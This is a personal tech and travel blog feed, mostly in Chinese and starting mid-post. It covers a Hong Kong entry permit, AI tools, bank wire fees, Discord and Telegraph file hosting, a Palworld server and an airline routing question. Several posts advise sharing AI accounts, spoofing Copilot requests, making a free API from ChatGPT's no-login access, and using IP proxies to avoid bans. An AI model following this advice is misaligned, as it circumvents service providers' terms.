&lt;td&gt;US$10/两年&lt;/td&gt;
&lt;td&gt;2 年&lt;/td&gt;
&lt;td&gt;可用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;港澳通行证&lt;/td&gt;
&lt;td&gt;7 天&lt;/td&gt;
&lt;td&gt;一次最多签发一年 2 次，用完可以继续签&lt;/td&gt;
&lt;td&gt;CN¥15/次&lt;/td&gt;
&lt;td&gt;1 年&lt;/td&gt;
&lt;td&gt;不可用&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;申请条件&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;持有海外的长期逗留签证，如美国的 F1、H1B 签证，当然澳门留学生也是可以的，旅游签证不行。&lt;/li&gt;
&lt;li&gt;申请人必须是中国公民，持有中国护照。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;申请材料&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;中国护照&lt;/li&gt;
&lt;li&gt;有效的外国签证&lt;/li&gt;
&lt;li&gt;如果 F1 签证，请带上有效的 I-20&lt;/li&gt;
&lt;li&gt;申请表格 1003A&lt;/li&gt;
&lt;li&gt;一张近期证件照&lt;/li&gt;
&lt;li&gt;申请费 US$10，支持支付宝、微信、信用卡&lt;/li&gt;
&lt;li&gt;行程证明（根据使馆而定）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;申请流程&lt;/h2&gt;
&lt;p&gt;准备好上述材料，前往「中华人民共和国驻海外大使馆」，必须 &lt;strong&gt;亲自前往&lt;/strong&gt;，不接受代办，不接受邮寄办理，&lt;strong&gt;不需要预约&lt;/strong&gt;。在窗口提交材料之后会现场告诉你是否通过，以及签发多久，最长是两年多次，一般会取决于你的 I-20 有效期以及签证有效期。如果通过之后，当场会收掉护照，然后给你 Pick up 的时间和一张凭据。我特地联系了中国驻纽约大使馆，工作人员明确，Pick up 取回护照可以让他人代取，只要带上凭据即可。这个业务的一般受理时间为 4 个工作日，加急的话是 3 个工作日。&lt;/p&gt;
&lt;p&gt;关于我提到的行程证明的部分一般是酒店和机票，我这边强烈建议准备好酒店和机票订单，虽然有网友表示有些大使馆不需要，但是如果有的话，通过率应该是 100%。机票订单可以使用 Delta，24 小时内无条件取消。酒店订单可以使用携程，入住前几天都是可以免费取消的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如果你人目前正在海外，持有学生签注、工作签证，如果你的城市刚好有中国大使馆，强烈建议去办理一下「香港进入许可」。持有「进入许可」，在从中国大陆出发去香港，仅需要出示护照，在入境香港的时候可以直接走自助通道，除了一次签发两年有效之外，最关键的是我上面提到的单次可以 14 天，不管你是第三国中转免签入境香港还是港澳通行证入境香港都是只有 7 天。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;PS：目前「香港入境事务处」支持在线办理，请不要使用在线办理电子版进入许可，签发时间短，最多只有六个月，而且价格昂贵，非常不划算！&lt;/p&gt;
&lt;h2&gt;我没赶上飞机的经历&lt;/h2&gt;
&lt;p&gt;我准备好了所有的材料，买好了 PIT 往返 EWR 的机票，在出发前一天提早两小时出家门前往机场，上了公交车之后，中途公交车在路上坏了四次，第一次坏在了 Downtown，我直接下车准备打 Uber，结果 Uber 司机还没到车就恢复了，我就取消了 Uber 订单。结果后面的几次坏在了高速上，高速上又无法打 Uber，定位的点根本选不到高速上。后来到 IKEA 门口彻底走不了了，我就打了 Uber 去机场，到机场之后经过安检花了五分钟，赶到登机口的时候还剩 10 分钟起飞，可惜的是舱门已经关闭，登机口已经没有任何工作人员，十分钟之后，我目送了飞机离开登机口，开始 Taxi，最后 Take off。我没赶上飞机，我也没办法退票。因为这两天期末比较忙，目前还没时间去，打算下周有空重新飞一次纽约。&lt;/p&gt;
</content:encoded></item><item><title>AI ​​I am currently using</title><link>https://missuo.me/posts/ai-in-use/</link><guid isPermaLink="true">https://missuo.me/posts/ai-in-use/</guid><description>An overview of the author&apos;s AI toolkit including ChatGPT Plus, Claude Pro, and Perplexity Pro subscriptions, along with self-developed projects like bob-plugin-cohere, FreeGPT35, and various API converters for Claude and Cohere.</description><pubDate>Sat, 20 Apr 2024 12:25:21 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本文最后更新于 2024 年 4 月 20 日，未来可能会更新更多我在用的 AI 工具。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;2023 年 2 月 ChatGPT 发布以来，已经过去一年多的时间了。作为一个科技爱好者，每一次的 iOS Beta 更新都会让我兴奋不已，我会在第一时间更新，即使有很多的 Bug，我也愿意作为那个上报 Bug 的人。而对于最近一年兴起的生成式 AI 也是如此，我从 2023 年 2 月开始，一直在使用各种类似的工具。一年多过去了，我有必要分享一些我在用的工具，以及最近一年我自己写的相关的项目。&lt;/p&gt;
&lt;p&gt;从 ChatGPT 的诞生到今天，想要使用这些平台都有一些门槛，最早的 ChatGPT 必须要验证手机号以及需要魔法以外，最让人头大的是支付方式，最初我的帐号的支付都是用的我好朋友 &lt;strong&gt;Ming&lt;/strong&gt; 的 BoA 信用卡。然而没过多久我来到了美国，直到今天我有了很多美国银行的银行卡，然而这些平台几乎都诞生于美国，几乎所有的平台都支持给美国的用户使用。因此，我也就有机会体验到很多新的 AI 模型。值得一提的是，目前为止我的所有帐号封号率为 &lt;strong&gt;0%&lt;/strong&gt;。&lt;/p&gt;
&lt;h2&gt;平台&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;平台&lt;/th&gt;
&lt;th&gt;订阅&lt;/th&gt;
&lt;th&gt;使用频率&lt;/th&gt;
&lt;th&gt;使用场景&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ChatGPT&lt;/td&gt;
&lt;td&gt;Plus &amp;amp; Team&lt;/td&gt;
&lt;td&gt;50%&lt;/td&gt;
&lt;td&gt;写代码 / 文本生成&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Claude&lt;/td&gt;
&lt;td&gt;Pro&lt;/td&gt;
&lt;td&gt;40%&lt;/td&gt;
&lt;td&gt;写代码&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Perplexity&lt;/td&gt;
&lt;td&gt;Pro&lt;/td&gt;
&lt;td&gt;10%&lt;/td&gt;
&lt;td&gt;检索信息 / 搜索引擎&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;我自己其实最多的场景还是写代码，之前就是单平台，完全依赖 ChatGPT，现在逐渐将这些场景交给 Claude Opus，个人觉得 Opus 比起 GPT-4 的表现更优秀。而 Perplexity 是我最近才开始使用的，主要是用来检索信息，它的优点就是使用次数可以很多，每天 600 次对我来说绰绰有余。&lt;/p&gt;
&lt;h2&gt;API&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;API&lt;/th&gt;
&lt;th&gt;模型&lt;/th&gt;
&lt;th&gt;使用场景&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;OpenAI&lt;/td&gt;
&lt;td&gt;GPT-3.5-Turbo&lt;/td&gt;
&lt;td&gt;Bob 翻译&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cohere&lt;/td&gt;
&lt;td&gt;Command R+&lt;/td&gt;
&lt;td&gt;Bob 翻译&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Azure&lt;/td&gt;
&lt;td&gt;GPT-4&lt;/td&gt;
&lt;td&gt;备用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Claude&lt;/td&gt;
&lt;td&gt;Opus&lt;/td&gt;
&lt;td&gt;备用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bedrock&lt;/td&gt;
&lt;td&gt;Haiku / Sonnet&lt;/td&gt;
&lt;td&gt;备用&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;第三方项目&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/lobehub/lobe-chat&quot;&gt;Lobe Chat&lt;/a&gt;：颜值很高的聚合 AI 平台，可以随意切换各种模型，方便我分享给国内的朋友使用。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web&quot;&gt;Next Chat&lt;/a&gt;：现在慢慢抛弃了，只部署了一个 GPT-3.5-Turbo，供朋友免费使用。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/songquanpeng/one-api&quot;&gt;one-api&lt;/a&gt;：API 聚合平台，支持几乎所有的 API，还支持分发 API Key，方便共享给朋友使用，目前我在使用官方半价的 API Key，同时也支持将所有 API 转换成 OpenAI 的 API。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;我的项目&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/missuo/bob-plugin-cohere&quot;&gt;bob-plugin-cohere&lt;/a&gt;：Cohere 的 Bob 翻译插件，在 Bob 上使用 Cohere 的 Command R+ 模型，目前最常用的翻译模型了。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/missuo/bob-plugin-copilot&quot;&gt;bob-plugin-copilot&lt;/a&gt;：利用模拟 GitHub Copilot 的请求，在 Bob 上使用 OpenAI 的 GPT-4 模型进行翻译，&lt;strong&gt;目前已经不再维护&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/missuo/cohere2openai&quot;&gt;cohere2openai&lt;/a&gt;：将 Cohere 的 API 转换成兼容 OpenAI 的 API，方便在任何兼容 OpenAI 的应用中调用 Cohere 模型。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/missuo/claude2openai&quot;&gt;claude2openai&lt;/a&gt;：将 Claude 的 API 转换成兼容 OpenAI 的 API，方便在任何兼容 OpenAI 的应用中调用 Claude 模型。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/missuo/ClaudeProxy&quot;&gt;ClaudeProxy&lt;/a&gt;：Claude API 代理，让所有向 Claude API 发送的请求都来自一个 IP，避免被封号。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/missuo/FreeGPT35&quot;&gt;FreeGPT35&lt;/a&gt;：利用免登录使用 ChatGPT 实现的免费 GPT-3.5-Turbo API，目前可能随时失效。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以上项目如果在使用过程中遇到任何问题，请在 GitHub 上提 issue，我会在空余时间尽快解决。如果你有别的需求，也可以在评论区留言，我会考虑实现。&lt;/p&gt;
&lt;h2&gt;一些经验&lt;/h2&gt;
&lt;p&gt;建议不要使用美国以外的 IP 请求 Claude 的 API，否则很容易被封号。建议使用美国 Residential IP，实在没条件也可以使用 Business IP。实际测试下来 ChatGPT 和 Claude 帐号可以共享给很多人使用，并不会封号。目前我的帐号大概有 10 个朋友在用，都是来自美国家宽的 IP，已经持续超过半年的时间，没有任何问题。另外，目前 Cohere 是完全免费的，您可以申请一个 Trial Key 来使用！&lt;/p&gt;
</content:encoded></item><item><title>CIB Wire Transfer Fee</title><link>https://missuo.me/posts/cib-wire-transfer/</link><guid isPermaLink="true">https://missuo.me/posts/cib-wire-transfer/</guid><description>A crowdsourced guide to Industrial Bank (CIB) international wire transfer fees for Huanyu Rensheng/Wujie cardholders, listing fee-free correspondent banks and collecting user-reported data points.</description><pubDate>Thu, 18 Apr 2024 11:26:05 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;全网最全的兴业银行 (CIB) 寰宇人生/无界卡电汇手续费汇总。仅适用于寰宇人生/无界卡用户。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;寰宇人生和无界卡是手续费和电报费全免，但是中转行（如果有）和收款行可能会收取手续费。&lt;/p&gt;
&lt;p&gt;我在 CIB 官网找到了一份名单，以下是 CIB 在境外所有的账户行。如果你从兴业银行中国大陆汇款到这些账户行，且汇款的币种都是名单中的币种，那么不会产生中转行，唯一有可能产生的费用就是收款行的费用，这一点无法避免。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cib.com.cn/cn/personal/wealth-management/foreign/inward.html&quot;&gt;账户行名单&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;已知的全程无损收款的账户行（即不存在收款行手续费）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HBSC US (USD)&lt;/li&gt;
&lt;li&gt;HBSC UK (HKD)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;欢迎补充！！！&lt;/p&gt;
&lt;p&gt;如果您刚好在使用 CIB 寰宇人生/无界卡，有时间的话请在每次汇款之后填写以下表单，供其他网友做参考。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://forms.gle/yrEwzAPFoM4tpL8Z6&quot;&gt;电汇手续费填报表&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;以下是由热心网友贡献的信息：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.google.com/spreadsheets/d/1Ap_4QdYzEUwNW57VOJkr_J6QezME7rEvZvFNqsr0VOA&quot;&gt;CIB 汇款 DP&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>File Sharing via Discord Bot</title><link>https://missuo.me/posts/discord-file-sharing/</link><guid isPermaLink="true">https://missuo.me/posts/discord-file-sharing/</guid><description>A Go implementation of file hosting using Discord Bot API that refreshes CDN links every 24 hours to prevent expiration, supporting 25MB files compared to Telegraph&apos;s 5MB limit.</description><pubDate>Thu, 11 Apr 2024 00:04:15 GMT</pubDate><content:encoded>&lt;p&gt;Friends who have used Discord should know that pictures, audios, videos and any other files sent in any server will generate a link starting with &lt;code&gt;https://cdn.discordapp.com/attachments/&lt;/code&gt;. The link is directly accessible, but unfortunately the link expires after 24 hours. But as long as the latest link is obtained every 24 hours, you should be able to use this to implement the image bed or file sharing function.&lt;/p&gt;
&lt;p&gt;Discord seems to have no API for personal accounts, but you can create a Bot at will. We only need to create a Bot, then add the Bot to your own private Server, and give the Bot permission to send messages and media files, and then you can use the API Receive the file, and then send the file to the Channel through Bot.&lt;/p&gt;
&lt;p&gt;Here I use Go to implement this function. First we need a Bot Token. This Token can be obtained after creating a Bot in &lt;a href=&quot;https://discord.com/developers/applications&quot;&gt;Discord Developer Portal&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In the design of &lt;a href=&quot;https://github.com/missuo/discord-image&quot;&gt;https://github.com/missuo/discord-image&lt;/a&gt;, every time a file is uploaded (for example images), it will not Directly returns the link to Discord, but returns a link to &lt;code&gt;https://example.com/file/{message_id}&lt;/code&gt;. &lt;code&gt;/file&lt;/code&gt; is an API. Every time this API is requested, it will go to Discord to get the latest link, and then Return to user. This achieves the effect that the link does not expire.&lt;/p&gt;
&lt;p&gt;In addition, since &lt;code&gt;cdn.discordapp.com&lt;/code&gt; has been blocked by GFW in mainland China, this problem can be solved with a simple &lt;strong&gt;Nginx Reverse Proxy&lt;/strong&gt; or &lt;strong&gt;Cloudflare Workers&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Compared with the Telegraph I shared before, using Discord supports a single file of 25MB, while the previous Telegraph only supported 5MB. In this way, we can use Discord to share larger files. Moreover, Discord supports more file types. In the past, it was impossible to delete files after uploading via Telegraph, but Discord can delete files directly in your Channel.&lt;/p&gt;
&lt;p&gt;But there are also some limitations. For example, the Attachments of a certain Discord Server may have an upper limit on the maximum capacity, which I am not sure yet. In addition, if your Bot is banned and you create a new Bot, all your previous links will be invalid. The reason is that after the new Bot enters the Server, it cannot see the historical records, so there will be no Method to get the URL of a previously uploaded file.&lt;/p&gt;
&lt;p&gt;I don’t know how long it can survive, so just use it and cherish it.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;用过 Discord 的朋友应该知道，在任何的 Server 里面发的图片，音频，视频以及别的任何文件，都会生成一个以 &lt;code&gt;https://cdn.discordapp.com/attachments/&lt;/code&gt; 开头的链接。这个链接是可以直接访问的，但是不幸的是这个链接会在 24 小时后失效。但是只要每 24 小时获取一次最新的链接，应该就可以利用这一点来实现图床或者是文件共享的功能。&lt;/p&gt;
&lt;p&gt;Discord 似乎个人账户是不存在 API 的，但是可以随意地创建 Bot，我们只要创建一个 Bot，然后把 Bot 添加到你自己私有的 Server 之后，给 Bot 赋予发送消息和媒体文件的权限，就可以通过 API 接收文件，然后再通过 Bot 发送文件到 Channel 里面。&lt;/p&gt;
&lt;p&gt;这里我使用 Go 来实现这个功能，首先我们需要一个 Bot 的 Token，这个 Token 可以在 &lt;a href=&quot;https://discord.com/developers/applications&quot;&gt;Discord Developer Portal&lt;/a&gt; 里面创建一个 Bot 之后获取到。&lt;/p&gt;
&lt;p&gt;在 &lt;a href=&quot;https://github.com/missuo/discord-image&quot;&gt;https://github.com/missuo/discord-image&lt;/a&gt; 的设计中，每次上传完文件（以图片为例），并不会直接返回 Discord 的链接，而是返回一个 &lt;code&gt;https://example.com/file/{message_id}&lt;/code&gt; 的链接，&lt;code&gt;/file&lt;/code&gt; 是一个 API，每次请求这个 API 都会去 Discord 获取最新的链接，然后返回给用户。这样就实现了链接用不失效的效果。&lt;/p&gt;
&lt;p&gt;除此之外，由于 &lt;code&gt;cdn.discordapp.com&lt;/code&gt; 在中国大陆已经被 GFW 封锁，但是关于这个问题，可以用简单的 Nginx Reverse Proxy 或者是 Cloudflare Workers 来解决。&lt;/p&gt;
&lt;p&gt;比起我之前分享过的 Telegraph 来说，利用 Discord 支持单文件 25MB，而过去的 Telegraph 只支持 5MB，这样的话，我们就可以利用 Discord 来分享更大的文件。而且 Discord 支持的文件类型更加丰富，过去利用 Telegraph 上传之后是无法进行删除的操作的，而 Discord 可以直接在你的 Channel 直接删除文件。&lt;/p&gt;
&lt;p&gt;但是也存在一些局限性，例如 Discord 某个 Server 的 Attachments 可能有最大容量的上限，这一点我还不确定。除此之外，如果你的 Bot 被封禁了，你再创建一个新的 Bot，你之前所有的链接都会失效，原因是新的 Bot 在进入 Server 之后，没办法看到历史的记录，也就没办法获取到之前上传的文件的 URL。&lt;/p&gt;
&lt;p&gt;我不知道能存活多久，且用且珍惜吧。&lt;/p&gt;
</content:encoded></item><item><title>Xiamen Airlines flies from LAX to TPE via XMN transfer</title><link>https://missuo.me/posts/fly-with-xiamenair-lax2tpe/</link><guid isPermaLink="true">https://missuo.me/posts/fly-with-xiamenair-lax2tpe/</guid><description>An investigation into whether mainland Chinese travelers can use the LAX-XMN-TPE Xiamen Airlines route with only a passport and Taiwan entry permit, concluding that Chinese border control requires the Taiwan Travel Permit.</description><pubDate>Fri, 15 Mar 2024 18:04:50 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;类似的情况，由 MU 执飞的 ICN - PVG - TPE 航班，我特地打电话联系了 MU 的客服，MU 客服明确表示，只要两段行程是一个客票号，也就是联程航班，是可以只使用护照搭乘完整的两段前往台北。但是如果是自己单独买的 ICN - PVG 和 PVG - TPE 两段，那么就必须要使用大陆居民往来台湾通行证和有效签注。(我猜可能是 PVG 有国际中转通道，所以可以不入境转机。)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202403152tcEab.png&quot; alt=&quot;202403152tcEab&quot; /&gt;&lt;/p&gt;
&lt;p&gt;从 LAX 飞 TPE，经过 XMN 中转这个航班可谓是价格实惠，在携程上差不多 3500-4000 元人民币可以拿下。但是飞这个航班，有很多需要关注的问题：&lt;/p&gt;
&lt;h2&gt;洛杉机机场是否可以顺利取到登机牌？&lt;/h2&gt;
&lt;p&gt;我特地联系了一下厦门航空客服，大概情况是，只有有入境台湾的证件应该是可以顺利登机的，也就是护照和有效入台证。&lt;/p&gt;
&lt;h2&gt;厦门机场是否可以顺利出境？&lt;/h2&gt;
&lt;p&gt;这个问题我联系了厦门航空客服，厦门机场客服，中国边检，福建边检。最终福建边检表示，如果前往台湾（不管是入境还是转机）必须要使用大陆居民往来台湾通行证和有效签注。简单说，就是根本不能使用护照出境。所以，结论是肯定出不去，也就是第二程肯定飞不了。&lt;/p&gt;
&lt;h2&gt;厦门机场如果不能出境是否可以拿到行李？&lt;/h2&gt;
&lt;p&gt;厦门航空客服说，可以在办理登机的时候要求不要直挂，在厦门要取到自己的行李，具体给不给办理不直挂，应该得看洛杉矶机场厦航工作人员了。&lt;/p&gt;
&lt;h2&gt;如果第二程不飞是否会被认作甩尾而拉黑？&lt;/h2&gt;
&lt;p&gt;厦门航空客服说，确定第二程不飞可以退票，退票理由就说中国边检不让出境，具体能否成功退票得看最终审核。如果直接不管第二程的客票这样的甩尾行为应该会被厦航拉黑，当然可以尝试一两次试试水。&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;总的来说，买这一段联程，存在的未知数有点多，各种不确定性，当然想挑战一下的话，可以飞一次试试看。&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>Warning of account suspension by Cloudflare</title><link>https://missuo.me/posts/cloudflare-1pb/</link><guid isPermaLink="true">https://missuo.me/posts/cloudflare-1pb/</guid><description>The story of a free Telegraph-based image hosting service that grew to 1PB monthly traffic and 140 million visitors, triggering Cloudflare warnings after being abused by adult content sites.</description><pubDate>Tue, 30 Jan 2024 19:45:27 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;我收到了 Cloudflare 企业专属客服的邮件，让我加她的联系方式。结果没想到加了之后，才知道我的帐号存在被封号的风险。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240130RZBNSl.png&quot; alt=&quot;20240130RZBNSl&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20240130Qda0ck.png&quot; alt=&quot;20240130Qda0ck&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这是我每个月的用量，平均每天 50T 流量，每个月达到了 1PB，Unique Visitors 更是达到了 1.4 亿，等于是有十分之一的中国人访问了一次我的网站。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;很多网友非常好奇我到底是跑了一个什么项目，怎么样的的一个站点能够达到如此的规模。甚至这几天我的 &lt;a href=&quot;https://x.com/m1ssuo/status/1751810633786331166&quot;&gt;推文&lt;/a&gt; 引来了很多的关注，甚至有人说我把 CF 薅秃了之类的。&lt;/p&gt;
&lt;p&gt;我想在这里做一些解释，这个网站甚至没几行代码。只有一个 HTML 文件，加上 Nginx 的反向代理。从我的 Commit 记录来看，最早是 2021 年 2 月，已经是三年前了。&lt;/p&gt;
&lt;p&gt;主要做的是非常简单的事情，就是通过 Nginx 反向代理了 &lt;a href=&quot;https://telegra.ph&quot;&gt;Telegraph&lt;/a&gt;。这样就可以匿名地上传无限量的图片，虽然有每张图 5M 的限制，但也够用。我自己用的不多，我博客的图片都在 Cloudflare R2。&lt;/p&gt;
&lt;p&gt;为了方便网友尝试，我开放了一个公共站点，即公共图床，方便大家去试用。这个站点没有任何的广告，没有任何的收益。过去的三年，每个月也就不超过 10TB 的流量，很正常的浏览量。而在 2023 年 11 月-12 月左右，开始变得越来越疯狂了，我发现每日的流量从 30T 到 50T。本来我也不管，因为其实我的成本只是贡献了一个域名，一台服务器，更何况缓存率是 99.98%，我的服务器本身并不会产生很多的流量。&lt;/p&gt;
&lt;p&gt;直到我收到了 Cloudflare 的邮件，我才意识到我应该处理一下这样子的滥用行为，第一时间我将域名解析到了 &lt;strong&gt;1.1.1.1&lt;/strong&gt;，暂停了使用。之后我去检查了一下 Nginx 的访问日志，这让我震惊。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202401302SLp2n.png&quot; alt=&quot;202401302SLp2n&quot; /&gt;&lt;/p&gt;
&lt;p&gt;随意找到了一张图片，或者是 Origin 的站点，毫无疑问 99% 都是中文色情网站。这让我感到失望，初衷是希望大家可以利用这个公共图床写写博客或者是分享一些有趣的图片，而不是用来传播色情。而很夸张的是，我发现知名的色情论坛，t66y 也在使用我的图床，甚至有些用户的头像用的正是我的域名。&lt;/p&gt;
&lt;p&gt;为了防止被滥用，我修改了一些 Nginx 的配置，例如我限制了一些图片格式，限制了 Origin。24 小时内流量从 50T 降到了 不到 4T。我也在 Cloudflare 的控制面板上设置了一些规则。&lt;/p&gt;
&lt;p&gt;我的好朋友 &lt;a href=&quot;https://twitter.com/steveyiyo&quot;&gt;SteveYi&lt;/a&gt; 也在第一时间私信我，愿意提供 VM。在这里特别感谢小易。直到目前为止，已经迁移到加州的 100Gbps 带宽的服务器，不再依赖 Cloudflare。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202401308yg7H3.png&quot; alt=&quot;202401308yg7H3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202402024GReqq.png&quot; alt=&quot;202402024GReqq&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;突破了 4Gbps 的入站和出站流量，流量顶峰的时候可以跑满 20Gbps 的带宽。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我不知道还能支撑多久，毕竟这样的公益图床站点没有收益，而且还要承担很大的风险，也许有一天会永久关闭，且用且珍惜吧。&lt;/p&gt;
&lt;p&gt;感谢 Telegraph 和 Cloudflare 过去提供的免费服务。&lt;/p&gt;
</content:encoded></item><item><title>Palworld Dedicated Server Setup</title><link>https://missuo.me/posts/palworld-server/</link><guid isPermaLink="true">https://missuo.me/posts/palworld-server/</guid><description>A quick guide to deploying a Palworld dedicated server using Docker with a simple compose.yaml configuration, including port forwarding requirements.</description><pubDate>Wed, 24 Jan 2024 01:25:20 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;今天朋友问我能不能用我家的服务器搭建一个 Palworld，我看了一下网上的教程，用 Linux 还挺麻烦。直到我找到了 GitHub 的 Docker 版本。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;准备工作&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;性能还不错的 Linux 服务器 （我这边是家里的服务器）&lt;/li&gt;
&lt;li&gt;安装了 Docker&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;启动&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;mkdir palworld &amp;amp;&amp;amp; cd palworld
nano compose.yaml
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;services:
   palworld:
      image: thijsvanloef/palworld-server-docker:latest
      restart: unless-stopped
      container_name: palworld-server
      ports:
        - 8211:8211/udp
        - 27015:27015/udp
      environment:
         - PUID=1000
         - PGID=1000
         - PORT=8211 # Optional but recommended
         - PLAYERS=16 # Optional but recommended
         - MULTITHREADING=true
         - RCON_ENABLED=true
         - RCON_PORT=25575
         - ADMIN_PASSWORD=&quot;adminPasswordHere&quot;
         - COMMUNITY=false  # Enable this if you want your server to show up in the community servers tab, USE WITH SERVER_PASSWORD!
         # Enable the environment variables below if you have COMMUNITY=true
         # - SERVER_PASSWORD=&quot;worldofpals&quot;
         # - SERVER_NAME=&quot;World of Pals&quot;
      volumes:
         - ./palworld:/palworld/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;复制粘贴上面的内容，可以修改一下 &lt;strong&gt;ADMIN_PASSWORD&lt;/strong&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker compose up -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后记得开放一下 8211 和 27015 端口，记得开启 UDP。&lt;/p&gt;
&lt;p&gt;PS: 美国东部的朋友可以用我搭建的服务器。&lt;/p&gt;
&lt;h2&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/thijsvanloef/palworld-server-docker&quot;&gt;https://github.com/thijsvanloef/palworld-server-docker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jammsen/docker-palworld-dedicated-server&quot;&gt;https://github.com/jammsen/docker-palworld-dedicated-server&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Chat with Strangers</title><link>https://missuo.me/posts/chat-with-strangers/</link><guid isPermaLink="true">https://missuo.me/posts/chat-with-strangers/</guid><description>An invitation to schedule voice chats via Google Meet to discuss topics like studying abroad, immigration, work, or anything else, with booking available through cal.com.</description><pubDate>Sat, 20 Jan 2024 03:15:53 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;之前有看到 &lt;a href=&quot;https://geekplux.com/&quot;&gt;GeekPlux&lt;/a&gt; 一直有在和陌生人聊天。我最近也比较无聊，所以也搞了一个预约聊天的页面。欢迎大家来和我聊天。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;聊天内容&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;留学&lt;/li&gt;
&lt;li&gt;润学&lt;/li&gt;
&lt;li&gt;工作&lt;/li&gt;
&lt;li&gt;其他任何话题&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;聊天方式&lt;/h2&gt;
&lt;p&gt;仅支持语音的方式，推荐使用 Google Meet，我们可以聊任何话题。如果您所处的网络无法使用 Google Meet，可以改用别的语音聊天工具，当然聊天的内容会受限。&lt;/p&gt;
&lt;h2&gt;如何预约&lt;/h2&gt;
